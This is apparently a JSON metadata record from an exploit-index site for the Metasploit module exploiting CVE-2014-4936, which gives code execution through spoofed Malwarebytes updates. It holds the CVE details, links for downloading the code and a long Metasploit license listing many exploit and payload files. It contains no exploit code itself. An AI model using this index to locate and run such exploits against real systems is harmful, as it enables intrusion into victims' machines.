{"exploit":{"id":"MSF-windows--browser--malwarebytes_update_exec","name":"Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution","description":"This module exploits a vulnerability in the update functionality of Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes Anti-Exploit consumer 1.03.1.1220. Due to the lack of proper update package validation, a man-in-the-middle (MITM) attacker could execute arbitrary code by spoofing the update server data-cdn.mbamupdates.com and uploading an executable. This module has been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.","cves":["CVE-2014-4936"],"author":"Yonathan Klijnsma, Gabor Seljan, todb","published":"2014-12-16","platform":"Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/windows/browser/malwarebytes_update_exec.rb","path":"modules/exploits/windows/browser/malwarebytes_update_exec.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"malwarebytes_update_exec.rb","vulnerabilities":[{"id":"CVE-2014-4936","state":"PUBLISHED","title":null,"titleSource":null,"description":"The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-4936","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-4936"},"updatedAt":"2024-08-06T11:34:36.396Z","retrievedAt":"2026-11-27T04:11:49.947Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-windows--browser--malwarebytes_update_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-windows--browser--malwarebytes_update_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--malwarebytes_update_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-windows--browser--malwarebytes_update_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit","upstreamLicenseUrl":"https://exploitbin.com/licenses/metasploit.txt","unofficial":false,"warning":null,"license":{"name":"Metasploit license","text":"Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/\nSource: https://www.metasploit.com/\n\nFiles: *\nCopyright: 2006-2026, Rapid7, Inc.\nLicense: BSD-3-clause\n\n# The Metasploit Framework is provided under the 3-clause BSD license provided\n# at the end of this file.\n#\n# The copyright on this package is held by Rapid7, Inc.\n#\n# This license does not apply to third-party components detailed below.\n#\n# Last updated: 2013-Nov-04\n#\n\nFiles: data/exploits/mysql/lib_mysqludf_sys_*.so\nCopyright: 2007  Roland Bouman\n           2008-2010  Roland Bouman and Bernardo Damele A. G.\nLicense: LGPL-2.1\nPurpose: These files are used in exploits/multi/mysql/mysql_udf_payload.rb\n\nFiles: data/exploits/cve-2023-34634/test.png\nCopyright: 2023 Brendan Watters\nLicense: MIT\nPurpose: These image is used as the default file to embed the exploit command.\n\nFiles: data/headers/windows/c_payload_util/beacon.h\nCopyright: 2022, Copyright Help/Systems LLC and its group of companies.\nLicense: Apache 2.0\n\nFiles: data/jtr/*\nCopyright: Copyright 1996-2013 by Solar Designer\nLicense: GNU GPL 2.0\n\nFiles: data/post/SharpHound.exe\n       data/post/powershell/SharpHound.ps1\nCopyright (C) 2016-2022 Specter Ops Inc.\nLicense: GNU GPL 3.0\nPurpose: These files are uploaded and executed by\n         post/windows/gather/bloodhound.\n\nFiles: data/templates/to_mem_pshreflection.ps1.template\nCopyright: 2012, Matthew Graeber\nLicense: BSD-3-clause\n\nFiles: data/webcam/api.js\nCopyright: Copyright 2013 Muaz Khan<@muazkh>.\nLicense: MIT\n\nFiles: data/wordlists/flask_secret_keys.txt\nSource: https://github.com/Paradoxis/Flask-Unsign-Wordlist/blob/v2023.34/flask_unsign_wordlist/wordlists/github.txt\nCopyright: Copyright (c) 2023 Luke Paris (Paradoxis)\nLicense: MIT\n\nFiles: external/source/byakugan/*\nCopyright: Lurene Grenier, 2009\nLicense: BSD-3-clause\n\nFiles: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*\nCopyright: 2020 Johnny Shaw\nLicense: MIT\n\nFiles: external/source/exploits/CVE-2018-8120/*\nCopyright: 2018\nLicense: GNU GPL 3\nPurpose: This supports exploits/windows/local/ms18_8120_win32k_privesc module\n\nFiles: external/source/exploits/CVE-2022-1043/cve-2022-1043.c\nCopyright: 2022 Open Source Security, Inc.\nLicense: GNU GPL 2.0\nPurpose: This source file is necessary for users to create a stand-alone executable\n         to exploit CVE-2022-1043, a local privilege escalation vulnerability in\n         Linux kernels 5.12-rc3 - 5.14-rc7.\n\nFiles: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c\nCopyright: 2022 Open Source Security, Inc.\nLicense: GNU GPL 2.0\nPurpose: This source file is necessary for users to create a stand-alone executable\n         to exploit CVE-2022-22942, a local privilege escalation vulnerability in\n         Linux kernels 4.14-rc1 - 5.17-rc1.\n\nFiles: exteneral/source/exploits/CVE-2022-26904/*\nCopyright: 2022 Abdelhamid Naceri\nLicense: MIT\n\nFiles: external/source/exploits/CVE-2023-36874/*\nCopyright: 2023 Octoberfest7\nLicense: MIT\nPurpose: Library and error report file are required for calculating offsets to the correct\n         function calls to implement the exploit.  The heavily modified C main is necessary\n         to create and trigger the exploit.\n\nFiles: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*\nCopyright: 2011 Jon Bringhurst\nLicense: GNU GPL 2.0\n\nFiles: external/source/exploits/IE11SandboxEscapes/*\nCopyright: James Forshaw, 2014\nLicense: GPLv3\nPurpose: This set of source code supports the following modules\n         exploits/windows/local/ms13_097_ie_registry_symlink.rb\n         exploits/windows/local/ms14_009_ie_dfsvc.rb\n\nFiles: external/source/ipwn/*\nCopyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>\n           2007 H D Moore <hdm [at] metasploit.com>\nLicense: GPL-2 and Artistic\nPurpose: These files are used in payloads/stages/osx/armle/execute\n\nFiles: external/source/metsvc/*\nCopyright: 2007, Determina Inc.\nLicense: BSD-3-clause\n\nFiles: external/source/osx/isight/*\nCopyright: 2009\nLicense: GPL\nPurpose: Used in modules/payloads/stages/osx/x86/isight to capture images.\n\nFiles: external/source/pxesploit/regeditor/ntreg.h\n       external/source/pxesploit/regeditor/ntreg.c\nCopyright: 1997-2010, Petter Nordahl-Hagen\nLicense: LGPL\nPurpose: Unknown. These files are used to create a linux binary called regeditor\n         which allows a linux OS to edit a Windows registry. It is used in\n         pxesploit modules.\n\nFiles: external/source/ReflectiveDLLInjection/*\nCopyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\nLicense: BSD-3-clause\n\nFiles: external/source/shellcode/windows/build.sh\nCopyright: 2009\nLicense: GPL / Perl Artistic\nPurpose: A perl script to build some of the x86 Windows payloads.\n\nFiles: external/source/unixasm/*\nCopyright: 2004-2008 Ramon de Carvalho Valle <ramon@risesecurity.org>\nLicense: BSD-4-clause\n\nFiles: external/source/vncdll/winvnc/*\n       external/source/tightvnc/*\nCopyright: 1999 AT&T Laboratories Cambridge.\n           2000 Tridia Corp.\n           2002-2003 RealVNC Ltd.\n           2001-2004 HorizonLive.com, Inc.\n           2000-2006 Constantin Kaplinsky.\n           2000-2009 TightVNC Group\nLicense: GPL-2\nPurpose: The built result is used in:\n           payloads/stages/windows/vncinject.rb\n           payloads/stages/windows/x64/vncinject.rb\n\nFiles: external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c\nCopyright: 1999-2007 Apple Inc.\nLicense: Apple\nPurpose: This source file is necessary for users to create a stand-alone executable\n         to exploit CVE-2022-46689, a local privilege escalation vulnerability in\n         MacOSX versions (macOS dirty cow)\n\nFiles: lib/anemone.rb\n       lib/anemone/*\nCopyright: 2009 Vertive, Inc.\nLicense: MIT\n\nFiles: lib/expect.rb\nCopyright: 2017 Yukihiro Matsumoto\nLicense: Ruby\n\nFiles: lib/msf/core/modules/external/python/async_timeout/*\nCopyright: 2016-2023 Andrew Svetlov\nLicense: Apache 2.0\n\nFiles: lib/msf/core/web_services/public/*\n       lib/msf/core/web_services/views/api_docs.erb\nCopyright: Copyright 2018 SmartBear Software\nLicense: Apache 2.0\n\nFiles: lib/net/dns.rb\n       lib/net/dns/*\nCopyright: 2006 Marco Ceresa\nLicense: Ruby\n\nFiles: lib/postgres_msf.rb\n       lib/postgres/postgres-pr/message.rb\n       lib/postgres/postgres-pr/connection.rb\nCopyright: 2005 Michael Neumann\nLicense: BSD-3-clause or Ruby\n\nFiles: lib/rabal/*\nCopyright: Jeremy Hinegadner <jeremy at hinegardner dot org>\nLicense: Ruby\n\nFiles: lib/rbmysql.rb\n       lib/rbmysql/*\nCopyright: 2009 tommy\nLicense: Ruby\n\nFiles: lib/snmp.rb\n       lib/snmp/*\nCopyright: 2004, David R. Halliday\nLicense: Ruby\n\nFiles: lib/windows_console_color_support.rb\nCopyright: 2011 Michael 'mihi' Schierl\nLicense: BSD-3-clause\n\nFiles: lib/zip.rb\n       lib/zip/*\nCopyright: 2002-2004, Thomas Sandergaard\nLicense: Ruby\n\nFiles: modules/auxiliary/dos/cisco/cisco_7937g_dos.py\nCopyright: 2020, Cody Martin\nLicense: GPL\nPurpose: This module allows an attacker to render a Cisco 7937G unresponsive\n         until it is manually power cycled.\n\nFiles: modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py\nCopyright: 2020, Cody Martin\nLicense: GPL\nPurpose: This module allows an attacker to render a Cisco 7937G unresponsive\n         until it automatically power cycles.\n\nFiles: modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py\nCopyright: 2020, Cody Martin\nLicense: GPL\nPurpose: This module allows an unauthenticated user to change the credentials\n         for SSH access on a Cisco 7937G device.\n\nFiles: modules/auxiliary/gather/office365userenum.py\nCopyright: 2015  Oliver Morton\nLicense: GPL\nPurpose: Enumerates valid usernames from Office 365 using ActiveSync.\n\nFiles: modules/exploits/linux/local/bpf_priv_esc.rb\n       data/exploits/CVE-2016-4557/hello\nCopyright: 2001-2007\nLicense: GPL\nPurpose: This module contains the source code for FUSE, which this module\n         uploads and compiles or uploads a precompiled binary (hello).\n\nFiles: modules/exploits/linux/local/ntfs3g_priv_esc.rb\nCopyright: 2017\nLicense: GPLv2\nPurpose: The Ruby file contains the text of several modules from exploit-db\n         which it compiles and uploads to the target to elevate privileges.\n\nFiles: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb\nCopyright: 2020\nLicense: GPL\nPurpose: This module targets a vulnerability in Metasploit Framework versions\n         prior to 5.0.86.\n\nFiles: modules/exploits/windows/smb/ms04_007_killbill.rb\nCopyright: 2004, Solar Eclipse\nLicense: GPL\nPurpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000\n         SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2\n         module.\n\nFiles: modules/payloads/singles/windows/speak_pwned.rb\nCopyright: 2009-2010 Berend-Jan \"SkyLined\" Wever <berendjanwever@gmail.com>\nLicense: BSD-3-clause\n\nFiles: modules/payloads/singles/windows/x64/messagebox.rb\nCopyright: 2018, jaguinaga\nLicense: GPL\nPurpose: This module allows us to create an x64 Windows messagebox payload.\n\nFiles: modules/post/linux/dos/xen_420_dos.rb\nCopyright: 2016\nLicense: GPL\nPurpose: This module crashes the Xen 4.2.0 hypervisor when run in a\n         paravirtualized VM. It contains a short code section licensed through\n         GPL.\n\nFiles: tools/exploit/metasm_shell.rb\nCopyright: 2007, Yoann GUILLOT\nLicense: LGPL\nPurpose: Allows users to invoke an interactive metasm shell to get opcodes from\nassembly instructions.\n\nFiles: data/exploits/CVE-2026-29053/theme/*\nCopyright: 2013-2026\nLicense: Ghost\nPurpose: The module `modules/exploits/multi/http/ghostcms_auth_rce_cve_2026_29053.rb` uses\n         [ghost-starter](https://github.com/tryghost/starter) theme to achieve an RCE.\n\nLicense: BSD-2-clause\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n .\n Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n .\n Redistributions in binary form must reproduce the above copyright notice, this\n list of conditions and the following disclaimer in the documentation and/or\n other materials provided with the distribution.\n .\n THIS SOFTWARE IS PROVIDED BY {{THE COPYRIGHT HOLDERS AND CONTRIBUTORS}} \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL {{THE COPYRIGHT HOLDER OR CONTRIBUTORS}} BE\n LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\n GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nLicense: BSD-3-clause\n Redistribution and use in source and binary forms, with or without modification,\n are permitted provided that the following conditions are met:\n .\n     * Redistributions of source code must retain the above copyright notice,\n     this list of conditions and the following disclaimer.\n .\n     * Redistributions in binary form must reproduce the above copyright notice,\n     this list of conditions and the following disclaimer in the documentation\n     and/or other materials provided with the distribution.\n .\n     * Neither the name of Rapid7, Inc. nor the names of its contributors\n     may be used to endorse or promote products derived from this software\n     without specific prior written permission.\n .\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nLicense: BSD-4-clause\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n 1. Redistributions of source code must retain the above copyright\n    notice, this list of conditions and the following disclaimer.\n 2. Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in the\n    documentation and/or other materials provided with the distribution.\n 3. All advertising materials mentioning features or use of this software\n    must display the following acknowledgement:\n    This product includes software developed by the <organization>.\n 4. Neither the name of the <organization> nor the\n    names of its contributors may be used to endorse or promote products\n    derived from this software without specific prior written permission.\n .\n THIS SOFTWARE IS PROVIDED BY <COPYRIGHT HOLDER> ''AS IS'' AND ANY\n EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\n DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nLicense: Ruby\n 1. You may make and give away verbatim copies of the source form of the\n    software without restriction, provided that you duplicate all of the\n    original copyright notices and associated disclaimers.\n .\n 2. You may modify your copy of the software in any way, provided that\n    you do at least ONE of the following:\n .\n    a) place your modifications in the Public Domain or otherwise\n       make them Freely Available, such as by posting said\n       modifications to Usenet or an equivalent medium, or by allowing\n       the author to include your modifications in the software.\n .\n    b) use the modified software only within your corporation or\n       organization.\n .\n    c) rename any non-standard executables so the names do not conflict\n       with standard executables, which must also be provided.\n .\n    d) make other distribution arrangements with the author.\n .\n 3. You may distribute the software in object code or executable\n    form, provided that you do at least ONE of the following:\n .\n    a) distribute the executables and library files of the software,\n       together with instructions (in the manual page or equivalent)\n       on where to get the original distribution.\n .\n    b) accompany the distribution with the machine-readable source of\n       the software.\n .\n    c) give non-standard executables non-standard names, with\n       instructions on where to get the original software distribution.\n .\n    d) make other distribution arrangements with the author.\n .\n 4. You may modify and include the part of the software into any other\n    software (possibly commercial).  But some files in the distribution\n    are not written by the author, so that they are not under this terms.\n    They are gc.c(partly), utils.c(partly), regex.[ch], fnmatch.[ch],\n    glob.c, st.[ch] and some files under the ./missing directory.  See\n    each file for the copying condition.\n .\n 5. The scripts and library files supplied as input to or produced as\n    output from the software do not automatically fall under the\n    copyright of the software, but belong to whomever generated them,\n    and may be sold commercially, and may be aggregated with this\n    software.\n .\n 6. THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITHOUT ANY EXPRESS OR\n    IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n    WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR\n    PURPOSE.\n\nLicense: GPL-2\n This program is free software; you can redistribute it\n and/or modify it under the terms of the GNU General Public\n License as published by the Free Software Foundation; either\n version 2 of the License, or (at your option) any later\n version.\n .\n This program is distributed in the hope that it will be\n useful, but WITHOUT ANY WARRANTY; without even the implied\n warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE.  See the GNU General Public License for more\n details.\n .\n You should have received a copy of the GNU General Public\n License along with this package; if not, write to the Free\n Software Foundation, Inc., 51 Franklin St, Fifth Floor,\n Boston, MA  02110-1301 USA\n .\n On Debian systems, the full text of the GNU General Public\n License version 2 can be found in the file\n `/usr/share/common-licenses/GPL-2'.\n\nLicense: LGPL-2.1\n This library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n .\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n Lesser General Public License for more details.\n .\n You should have received a copy of the GNU Lesser General Public\n License along with this library; if not, write to the Free Software\n Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\nLicense: OpenSSL\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n .\n 1. Redistributions of source code must retain the above copyright\n    notice, this list of conditions and the following disclaimer.\n .\n 2. Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in\n    the documentation and/or other materials provided with the\n    distribution.\n .\n 3. All advertising materials mentioning features or use of this\n    software must display the following acknowledgment:\n    \"This product includes software developed by the OpenSSL Project\n    for use in the OpenSSL Toolkit. (http://www.openssl.org/)\"\n .\n 4. The names \"OpenSSL Toolkit\" and \"OpenSSL Project\" must not be used to\n    endorse or promote products derived from this software without\n    prior written permission. For written permission, please contact\n    openssl-core@openssl.org.\n .\n 5. Products derived from this software may not be called \"OpenSSL\"\n    nor may \"OpenSSL\" appear in their names without prior written\n    permission of the OpenSSL Project.\n .\n 6. Redistributions of any form whatsoever must retain the following\n    acknowledgment:\n    \"This product includes software developed by the OpenSSL Project\n    for use in the OpenSSL Toolkit (http://www.openssl.org/)\"\n .\n THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT `AS IS'' AND ANY\n EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE OpenSSL PROJECT OR\n ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n OF THE POSSIBILITY OF SUCH DAMAGE.\n .\n This product includes cryptographic software written by Eric Young\n (eay@cryptsoft.com).  This product includes software written by Tim\n Hudson (tjh@cryptsoft.com).\n\nLicense: SSLeay\n This package is an SSL implementation written\n by Eric Young (eay@cryptsoft.com).\n The implementation was written so as to conform with Netscapes SSL.\n .\n This library is free for commercial and non-commercial use as long as\n the following conditions are aheared to.  The following conditions\n apply to all code found in this distribution, be it the RC4, RSA,\n lhash, DES, etc., code; not just the SSL code.  The SSL documentation\n included with this distribution is covered by the same copyright terms\n except that the holder is Tim Hudson (tjh@cryptsoft.com).\n .\n Copyright remains Eric Young's, and as such any Copyright notices in\n the code are not to be removed.\n If this package is used in a product, Eric Young should be given attribution\n as the author of the parts of the library used.\n This can be in the form of a textual message at program startup or\n in documentation (online or textual) provided with the package.\n .\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n 1. Redistributions of source code must retain the copyright\n    notice, this list of conditions and the following disclaimer.\n 2. Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in the\n    documentation and/or other materials provided with the distribution.\n 3. All advertising materials mentioning features or use of this software\n    must display the following acknowledgement:\n    \"This product includes cryptographic software written by\n    Eric Young (eay@cryptsoft.com)\"\n    The word 'cryptographic' can be left out if the rouines from the library\n    being used are not cryptographic related :-).\n 4. If you include any Windows specific code (or a derivative thereof) from\n    the apps directory (application code) you must include an acknowledgement:\n    \"This product includes software written by Tim Hudson (tjh@cryptsoft.com)\"\n .\n THIS SOFTWARE IS PROVIDED BY ERIC YOUNG `AS IS'' AND\n ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n SUCH DAMAGE.\n .\n The licence and distribution terms for any publically available version or\n derivative of this code cannot be changed.  i.e. this code cannot simply be\n copied and put under another distribution licence\n [including the GNU Public Licence.]\n\nLicense: MIT\n Permission is hereby granted, free of charge, to any person obtaining\n a copy of this software and associated documentation files (the\n \"Software\"), to deal in the Software without restriction, including\n without limitation the rights to use, copy, modify, merge, publish,\n distribute, sublicense, and/or sell copies of the Software, and to\n permit persons to whom the Software is furnished to do so, subject to\n the following conditions:\n .\n The above copyright notice and this permission notice shall be\n included in all copies or substantial portions of the Software.\n .\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nLicense: Artistic\n Copyright (c) 2000-2006, The Perl Foundation.\n .\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n .\n Preamble\n .\n This license establishes the terms under which a given free software\n Package may be copied, modified, distributed, and/or redistributed.\n The intent is that the Copyright Holder maintains some artistic\n control over the development of that Package while still keeping the\n Package available as open source and free software.\n .\n You are always permitted to make arrangements wholly outside of this\n license directly with the Copyright Holder of a given Package. If the\n terms of this license do not permit the full use that you propose to\n make of the Package, you should contact the Copyright Holder and seek\n a different licensing arrangement.\n .\n Definitions\n .\n \"Copyright Holder\" means the individual(s) or organization(s)\n named in the copyright notice for the entire Package.\n .\n \"Contributor\" means any party that has contributed code or other\n material to the Package, in accordance with the Copyright Holder's\n procedures.\n .\n \"You\" and \"your\" means any person who would like to copy,\n distribute, or modify the Package.\n .\n \"Package\" means the collection of files distributed by the\n Copyright Holder, and derivatives of that collection and/or of\n those files. A given Package may consist of either the Standard\n Version, or a Modified Version.\n .\n \"Distribute\" means providing a copy of the Package or making it\n accessible to anyone else, or in the case of a company or\n organization, to others outside of your company or organization.\n .\n \"Distributor Fee\" means any fee that you charge for Distributing\n this Package or providing support for this Package to another\n party. It does not mean licensing fees.\n .\n \"Standard Version\" refers to the Package if it has not been\n modified, or has been modified only in ways explicitly requested\n by the Copyright Holder.\n .\n \"Modified Version\" means the Package, if it has been changed, and\n such changes were not explicitly requested by the Copyright\n Holder.\n .\n \"Original License\" means this Artistic License as Distributed with\n the Standard Version of the Package, in its current version or as\n it may be modified by The Perl Foundation in the future.\n .\n \"Source\" form means the source code, documentation source, and\n configuration files for the Package.\n .\n \"Compiled\" form means the compiled bytecode, object code, binary,\n or any other form resulting from mechanical transformation or\n translation of the Source form.\n .\n Permission for Use and Modification Without Distribution\n .\n (1) You are permitted to use the Standard Version and create and use\n Modified Versions for any purpose without restriction, provided that\n you do not Distribute the Modified Version.\n .\n .\n Permissions for Redistribution of the Standard Version\n .\n (2) You may Distribute verbatim copies of the Source form of the\n Standard Version of this Package in any medium without restriction,\n either gratis or for a Distributor Fee, provided that you duplicate\n all of the original copyright notices and associated disclaimers. At\n your discretion, such verbatim copies may or may not include a\n Compiled form of the Package.\n .\n (3) You may apply any bug fixes, portability changes, and other\n modifications made available from the Copyright Holder. The resulting\n Package will still be considered the Standard Version, and as such\n will be subject to the Original License.\n .\n .\n Distribution of Modified Versions of the Package as Source\n .\n (4) You may Distribute your Modified Version as Source (either gratis\n or for a Distributor Fee, and with or without a Compiled form of the\n Modified Version) provided that you clearly document how it differs\n from the Standard Version, including, but not limited to, documenting\n any non-standard features, executables, or modules, and provided that\n you do at least ONE of the following:\n .\n (a) make the Modified Version available to the Copyright Holder\n of the Standard Version, under the Original License, so that the\n Copyright Holder may include your modifications in the Standard\n Version.\n .\n (b) ensure that installation of your Modified Version does not\n prevent the user installing or running the Standard Version. In\n addition, the Modified Version must bear a name that is different\n from the name of the Standard Version.\n .\n (c) allow anyone who receives a copy of the Modified Version to\n make the Source form of the Modified Version available to others\n under\n .\n (i) the Original License or\n .\n (ii) a license that permits the licensee to freely copy,\n modify and redistribute the Modified Version using the same\n licensing terms that apply to the copy that the licensee\n received, and requires that the Source form of the Modified\n Version, and of any works derived from it, be made freely\n available in that license fees are prohibited but Distributor\n Fees are allowed.\n .\n .\n Distribution of Compiled Forms of the Standard Version\n or Modified Versions without the Source\n .\n (5) You may Distribute Compiled forms of the Standard Version without\n the Source, provided that you include complete instructions on how to\n get the Source of the Standard Version. Such instructions must be\n valid at the time of your distribution. If these instructions, at any\n time while you are carrying out such distribution, become invalid, you\n must provide new instructions on demand or cease further distribution.\n If you provide valid instructions or cease distribution within thirty\n days after you become aware that the instructions are invalid, then\n you do not forfeit any of your rights under this license.\n .\n (6) You may Distribute a Modified Version in Compiled form without\n the Source, provided that you comply with Section 4 with respect to\n the Source of the Modified Version.\n .\n .\n Aggregating or Linking the Package\n .\n (7) You may aggregate the Package (either the Standard Version or\n Modified Version) with other packages and Distribute the resulting\n aggregation provided that you do not charge a licensing fee for the\n Package. Distributor Fees are permitted, and licensing fees for other\n components in the aggregation are permitted. The terms of this license\n apply to the use and Distribution of the Standard or Modified Versions\n as included in the aggregation.\n .\n (8) You are permitted to link Modified and Standard Versions with\n other works, to embed the Package in a larger work of your own, or to\n build stand-alone binary or bytecode versions of applications that\n include the Package, and Distribute the result without restriction,\n provided the result 